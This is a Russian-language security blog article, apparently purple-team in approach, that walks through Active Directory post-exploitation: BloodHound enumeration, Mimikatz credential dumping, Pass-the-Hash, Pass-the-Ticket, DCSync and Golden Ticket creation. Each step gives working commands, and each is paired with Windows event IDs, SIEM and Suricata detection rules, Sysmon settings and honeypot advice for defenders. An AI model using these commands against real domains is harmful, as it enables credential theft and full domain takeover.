

Пост-эксплуатация в Active Directory: от захвата учётки до Domain Admin. Что увидит ваш SOC

 redsec.by/article/post-ekspluaciya-v-active-directory-ot-zahvata-uchyotki-do-domain-admin-cto-uvidit-vash-soc

Red Teams | 28 октября 2025



Вы уже внутри. Что дальше?

Представьте ситуацию: в результате успешной фишинговой атаки злоумышленник получил доступ к учетной записи обычного пользователя вашего домена. Для многих это может показаться незначительным инцидентом — ведь права стандартного пользователя сильно ограничены. Но для опытного противника это не финал, а лишь начало. Это плацдарм, с которого начинается методичная и зачастую незаметная

кампания, конечная цель которой — полный контроль над сердцем вашей инфраструктуры, Active Directory.

Первоначальный доступ — это часто самая простая часть атаки. Настоящее мастерство злоумышленника проявляется в пост-эксплуатации: в умении ориентироваться в незнакомой сети, расширять свои привилегии, перемещаться от системы к системе и в конечном итоге захватывать "ключи от королевства" — права администратора домена.

В этой статье мы пошагово, как по инструкции, разберем классическую цепочку атаки (kill chain) в среде Active Directory. Мы посмотрим на каждый этап глазами атакующего, используя реальные инструменты и команды. И, что самое важное, параллельно мы наденем "синюю фуражку" аналитика SOC и посмотрим, какие цифровые следы, артефакты и события остаются в журналах Windows. Мы разберем, как с помощью SIEM-систем можно и нужно обнаруживать каждый шаг противника, превращая его "скрытную" операцию в громкую и провальную тревогу.

Этап 1: Разведка и картирование домена (Enumeration)

Что делает атакующий

Получив первый доступ, злоумышленник оказывается в "темной комнате". Его первая задача — включить свет. Необходимо собрать максимум информации о структуре домена: кто здесь главный (администраторы), где находятся ценные активы (контроллеры домена, файловые серверы), кто из пользователей сейчас работает на ключевых машинах и, самое главное, как от текущей точки добраться до цели с минимальными усилиями.

BloodHound — инструмент номер один для разведки

Для этой задачи нет инструмента лучше, чем BloodHound. Он использует сборщик данных (SharpHound), который, работая от имени скомпрометированного пользователя, опрашивает Active Directory через легитимные протоколы LDAP и SMB. SharpHound собирает гигантский объем данных:

- Пользователей и группы
- Компьютеры домена
- Информацию о сессиях (кто где залогинен)
- Списки контроля доступа (ACL)
- Тикеты Kerberos и разрешения делегирования

Практический пример выполнения:

```
# Запуск исполняемого файла SharpHound для сбора всех возможных данных
.\SharpHound.exe -c All -d contoso.local
```

```
# Альтернативный запуск через PowerShell-версию в памяти
```

```
Invoke-BloodHound -CollectionMethod All -LDAPUser user1 -LDAPPass Pass123 -OutputDir
```

Собранные данные упаковываются в ZIP-архив и загружаются в BloodHound, который использует графовую базу данных Neo4j для визуализации. Вместо сухих списков атакующий видит наглядную карту домена, где красной линией подсвечены кратчайшие пути для эскалации привилегий, например: "Пользователь user1 является членом группы HelpDesk, у которой есть права на сброс пароля для ServerAdmin, который является локальным администратором на DC01".

Что видит SOC: события Windows и признаки обнаружения

Хотя BloodHound использует легитимные протоколы, его работа создает аномальную и очень характерную активность, которую можно и нужно отслеживать.

- **Событие 5145 — Доступ к сетевому общему ресурсу:** SharpHound для сбора информации о сессиях и политиках обращается к именованным каналам (named pipes) на контроллерах домена. Это генерирует шквал событий 5145 с обращениями к \srvsvc, \lsarpc и \samr.

Правило обнаружения для SIEM:

```
event.code: "5145" AND  
(winlog.event_data.RelativeTargetName: "srvsvc" OR  
 winlog.event_data.RelativeTargetName: "lsarpc" OR  
 winlog.event_data.RelativeTargetName: "samr")  
AND NOT user.name: *$  
# Подсчитать количество за 1 минуту от одного пользователя  
# Если > 3 обращений к разным каналам = вероятно SharpHound
```

- **Событие 4662 — Была выполнена операция над объектом:** Если в домене включен расширенный аудит (SACL), массовые LDAP-запросы от SharpHound сгенерируют тысячи событий 4662 с операцией "Read All Properties" за очень короткое время.

Правило обнаружения для SIEM:

```
event.code: "4662" AND  
winlog.event_data.Properties: "Read all properties" AND  
count > 100 in 5 minutes from same source
```

- **Детекция по процессу:** Если атакующий допустил ошибку и запустил SharpHound не в памяти, а как обычный файл, его можно обнаружить по имени процесса или параметрам командной строки.

Правило обнаружения для SIEM:

```
process_name: "SharpHound.exe" OR
original_file_name: "SharpHound.exe" OR
command_line: *"-CollectionMethod"* OR
command_line: *"-Invoke-BloodHound"* OR
command_line: *"-Get-BloodHoundData"*
```

- **Сетевые индикаторы:** Активность SharpHound со стороны выглядит как интенсивное SMB-сканирование портов 137/445 по всей сети с одной машины.

Этап 2: Горизонтальное перемещение (Lateral Movement)

Получив карту домена, атакующий выбирает следующую жертву — обычно это сервер, где залогинен пользователь с более высокими правами. Цель — переместиться на эту машину и украсть его учетные данные.

Техника 1: Pass-the-Hash (PtH)

Как работает атака

Это классическая и до сих пор крайне эффективная техника. Она позволяет аутентифицироваться на других машинах, используя NTLM-хеш пароля пользователя, без необходимости знать сам пароль в открытом виде.

Шаг 1: Извлечение хешей с помощью Mimikatz Атакующий запускает на скомпрометированной машине Mimikatz, чтобы извлечь хеши всех пользователей, которые когда-либо входили в систему. Их хеши хранятся в памяти процесса lsass.exe.

```
# Запуск Mimikatz с повышенными привилегиями
mimikatz.exe
# Получение привилегий отладки для доступа к другим процессам
privilege::debug
# Повышение до SYSTEM (если нужно)
token::elevate
# Извлечение паролей и хешей из памяти процесса LSASS
sekurlsa::logonpasswords
```

Вывод команды покажет NTLM-хеши, включая хеш залогиненного администратора:

```
Authentication Id : 0 ; 428913
Session           : Interactive from 1
User Name         : admin
Domain           : CONTOSO
```

```
Logon Server      : DC01
Logon Time       : 10/28/2025 9:15:22
SID              : S-1-5-21-...

msv :
[00000003] Primary
* Username : admin
* Domain   : CONTOSO
* NTLM     : 8846f7eaaa8fb117ad06bdd830b7586c
* SHA1     : 4f6d...
```

Шаг 2: Использование хеша для аутентификации С помощью того же Mimikatz атакующий запускает новый процесс, но уже от имени администратора, используя украденный хеш.

```
# Pass-the-Hash атака с помощью Mimikatz
sekurlsa::pth /user:admin /domain:contoso.local /ntlm:8846f7eaaa8fb117ad06bdd830b7586c
```

Эта команда открывает новое окно cmd.exe, которое обладает токеном безопасности пользователя admin. Из этого окна можно получить доступ к административным ресурсам на других серверах.

```
# Доступ к системному диску контроллера домена
dir \\DC01\C$
# Удаленное выполнение команд через PsExec
PsExec.exe \\DC01 cmd.exe
```

Что видит SOC: детекция Pass-the-Hash

- **Событие 4624 (Тип входа 9) — Успешный вход в систему:** Атаки PtH оставляют очень характерный след.

```
Event ID: 4624
Logon Type: 9 (NewCredentials)
Authentication Package: Negotiate
Logon Process: seclogo
```

Ключевые индикаторы: Тип входа 9 (NewCredentials) используется, когда процесс запускается с явным указанием учетных данных. В сочетании с NTLM-аутентификацией (отсутствие событий Kerberos) это является сильным признаком PtH.

- **Событие 4648 — Была произведена попытка входа с использованием явных учетных данных:**

```
Event ID: 4648
Account Name: user1
Account Whose Credentials Were Used: admin
Target Server Name: DC01
```

Это событие прямо показывает, что user1 использует учетные данные admin для доступа к DC01.

- **Событие 4672 — Специальные привилегии назначены новому сеансу входа:** Возникает, когда учетная запись с административными правами входит в систему.
- **Sysmon Event ID 10 — Доступ к процессу:** Запуск sekurlsa::logonpasswords требует доступа к памяти процесса lsass.exe. Sysmon фиксирует это.

```
Event ID: 10
SourceImage: C:\Tools\mimikatz.exe
TargetImage: C:\Windows\System32\lsass.exe
GrantedAccess: 0x1010 или 0x1038
```

- **Правило корреляции для SIEM:**

```
# Обнаружение Pass-the-Hash
(event.code: "4624" AND logon_type: "9" AND auth_package: "Negotiate")
AND
event.code: "10" AND target_image: "lsass.exe"
WITHIN 5 minutes
AND
source_ip != expected_admin_workstation
```

- **Аномалии:** Вход администратора с рабочей станции обычного пользователя; вход в нерабочее время; множественные входы на разные хосты за короткое время.

Техника 2: Pass-the-Ticket (PtT)

Как работает атака

Эта техника является аналогом PtH, но для сред, где используется Kerberos. Атакующий крадет не хеш, а действующий Kerberos-тикет (TGT или TGS) и использует его для аутентификации.

Шаг 1: Извлечение тикетов Kerberos

```
# В Mimikatz
sekurlsa::tickets /export
```

Эта команда экспортирует все Kerberos-тикеты из памяти в файлы формата .kirbi.

Шаг 2: Внедрение тикета в текущую сессию

```
# Импорт и использование чужого тикета
kerberos::ptt admin@krbtgt-CONTOSO.LOCAL.kirbi
# Проверка, что тикет применился
klist
```

После этого атакующий может обращаться к ресурсам от имени admin, пока тикет не истечет.

Что видит SOC: детекция Pass-the-Ticket

- **Событие 4768 (Запрошен TGT) и 4769 (Запрошен TGS):** Легитимный процесс всегда выглядит так: сначала пользователь получает TGT (событие 4768), а затем с этим TGT запрашивает TGS для доступа к конкретному сервису (событие 4769).
- **Основной индикатор PtT:** Появление события **4769** (запрос TGS) без предшествующего ему события **4768** (запрос TGT) с того же IP-адреса в рамках сессии (например, за последние 10 часов).
- **Событие 4649 — Обнаружена атака повторного воспроизведения:** Windows может зафиксировать повторное использование тикета.
- **Правило корреляции для SIEM:**

```
# Обнаружение Pass-the-Ticket
event.code: "4769"
AND NOT exists(event.code: "4768" with same client_address WITHIN 10 hours)
AND encryption_type: "0x17" # RC4 - слабое шифрование, подозрительно в современ
```

Этап 3: Закрепление и персистентность — Golden Ticket

Это "ядерное оружие" в арсенале атакующего. Получив доступ к контроллеру домена, злоумышленник может создать Golden Ticket — поддельный TGT, который дает ему неограниченный и практически вечный доступ ко всем ресурсам домена.

Как работает Golden Ticket

Для создания такого тикета нужен NTLM-хеш пароля специальной учетной записи KRBTGT. Эта учетная запись используется для подписи всех TGT в домене. Если у вас есть ее хеш, вы можете сами подписывать TGT для любого пользователя (даже несуществующего) с любыми правами.

Шаг 1: Получение хеша KRBTGT Атакующий, имея права на репликацию, может запросить у контроллера домена хеш любой учетной записи, имитируя процесс репликации с помощью DCSync.

```
# В Mimikatz
privilege::debug
lsadump::dcsync /user:krbtgt
```

Также необходимо получить SID домена.

```
# PowerShell
wmic useraccount where name="Administrator" get sid
# Результат: S-1-5-21-1234567890-1234567890-1234567890-500
# SID домена: S-1-5-21-1234567890-1234567890-1234567890
```

Шаг 2: Создание Golden Ticket

```
# Создание и немедленное внедрение Golden Ticket в сессию
kerberos::golden /user:Administrator /domain:contoso.local /sid:S-1-5-21-1234567890-
```

- /user: любое имя, даже несуществующее.
- /id:500: RID пользователя (500 = встроенный администратор, что дает права Domain Admin).
- /ptt: внедрить тикет в текущую сессию.

Шаг 3: Использование Golden Ticket``text

Создание нового cmd с правами, полученными от тикета

```
misc::cmd
```

Доступ к любым ресурсам

```
dir \DC01.contoso.local\C$
```

Особенность: Тикет будет действителен до тех пор, пока пароль `KRBTGT` не будет изменен.
Что видит SOC: детекция Golden Ticket

Детекция крайне сложна. Основной упор делается на обнаружение *предшествующих* действий.

Детекция DCSync (Событие 4662): Лучший способ предотвратить Golden Ticket – это с

Правило корреляции для DCSync:

```
event.code: "4662"
```

```
AND object_type: "domainDNS"
```

```
AND (properties: "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2"
```

```
    OR properties: "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2")
```

```
AND NOT source_machine: <domain_controller_list>
```

```
AND NOT user.name: (*DC$)
```

Это правило ищет запросы на репликацию, исходящие *не* от контроллеров домена.

Сетевая детекция DCSync: IDS/IPS системы могут обнаружить RPC-вызовы `DsGetNCChanges`

```
# Пример правила Suricata/Snort
```

```
alert tcp any any -> $DOMAIN_CONTROLLERS 135 (
```

```
  msg:"Possible DCSync - DRSUAPI Bind Request from non-DC";
```

```
  content:"|e3514235-4b06-11d1-ab04-00c04fc2dcd2|";
```

```
  sid:1000001;
```

```
)
```

Аномалии в Kerberos (Событие 4769):

Как и в PtT, появление 4769 без 4768.

Использование слабого шифрования RC4-HMAC (`0x17`).

События входа (4624/4672) с несуществующими именами пользователей.

Детекция Mimikatz: Обнаружение самого инструмента через Sysmon (доступ к `lsass.exe`)

```
# PowerShell Script Block Logging, Event 4104
```

```
ScriptBlockText: "lsadump::dcsync"
```

```
OR "kerberos::golden"
```

```
OR "sekurlsa::pth"
```

```
OR "kerberos::ptt"
```


Техника атаки	Ключевые Event ID	Основные индикаторы	Пример правила обнаружения (SIEM)
BloodHound	5145, 4662	Массовые обращения к srvsvc, lsarpc, samr; шквал событий 4662	event.code: "5145" AND RelativeTargetName: ("srvsvc" OR "lsarpc") AND count > 3 in 1 min
Pass-the-Hash	4624 (Тип 9), 4648, 4672, Sysmon 10	Logon Type 9 + Negotiate; доступ к lsass.exe	event.code: "4624" AND logon_type: "9" AND auth_package: "Negotiate"
Pass-the-Ticket	4768, 4769, 4649	Событие 4769 без предшествующего 4768 с того же IP	event.code: "4769" AND NOT exists(4768 with same client_ip within 10h)
DCSync	4662	GUID репликации в свойствах; источник не является DC	event.code: "4662" AND properties: "1131f6aa*" AND NOT source: *DC\$
Golden Ticket	4769, 4624, 4672	4769 без 4768; шифрование RC4; аномальные поля входа	event.code: "4769" AND encryption: "0x17" AND NOT preceded by 4768
Mimikatz	Sysmon 10, 4104	Доступ к lsass.exe; ключевые слова в логах PowerShell	target_image: "lsass.exe" AND granted_access: ("0x1010" OR "0x1038")

Практические рекомендации для SOC

1. Настройка аудита Windows

Включите критические политики аудита через GPO:

Computer Configuration → Policies → Windows Settings → Security Settings → Advanced

✓ Account Logon

- Audit Kerberos Authentication Service (Success, Failure)
- Audit Kerberos Service Ticket Operations (Success, Failure)

✓ Logon/Logoff

- Audit Logon (Success, Failure)
- Audit Special Logon (Success)

✓ DS Access

- Audit Directory Service Access (Success, Failure)

И обязательно включите PowerShell Script Block Logging:

Computer Configuration → Administrative Templates → Windows Components → Windows Pow

✓ Turn on PowerShell Script Block Logging

2. Конфигурация Sysmon

Разверните Sysmon с конфигурацией, отслеживающей доступ к lsass.exe:

```
<Sysmon schemaversion="4.82">
  <EventFiltering>
    <!-- Доступ к LSASS -->
    <ProcessAccess onmatch="include">
      <TargetImage condition="image">lsass.exe</TargetImage>
      <GrantedAccess condition="is">0x1010</GrantedAccess>
      <GrantedAccess condition="is">0x1038</GrantedAccess>
    </ProcessAccess>
  </EventFiltering>
</Sysmon>
```

3. Базовые метрики и Honeypot-стратегия

Установите baseline нормального поведения и создавайте ловушки:

- **AS-REP Roasting Honeypot:** Создайте пользователя с отключенной pre-authentication. Любой запрос тикета для него (событие 4768) — это атака.
- **BloodHound Honeypot:** Создайте фиктивную группу "Domain Admins Backup" с уникальным SACL. Любое чтение ее свойств — это разведка.

4. Автоматизация реагирования (SOAR)

Настройте автоматические действия на самые критичные алерты:

- **Детекция SharpHound:** Изолировать хост, заблокировать учетную запись.
- **Детекция Pass-the-Hash:** Принудительно сбросить пароль, инвалидировать сессии.
- **Детекция DCSync/Golden Ticket: КРИТИЧЕСКИЙ АЛЕРТ**, немедленная эскалация, двойная смена пароля KRBtgt

Видимость — ключ к защите

Атаки на Active Directory — это не магия, а последовательность логичных шагов, каждый из которых оставляет свои следы. Эффективная детекция требует правильной настройки аудита, корреляции событий, знания нормального поведения и быстрого реагирования. С правильной видимостью и аналитикой ваш SOC может превратить Active Directory из слабого звена в контролируемую среду, где любая подозрительная активность будет обнаружена и остановлена.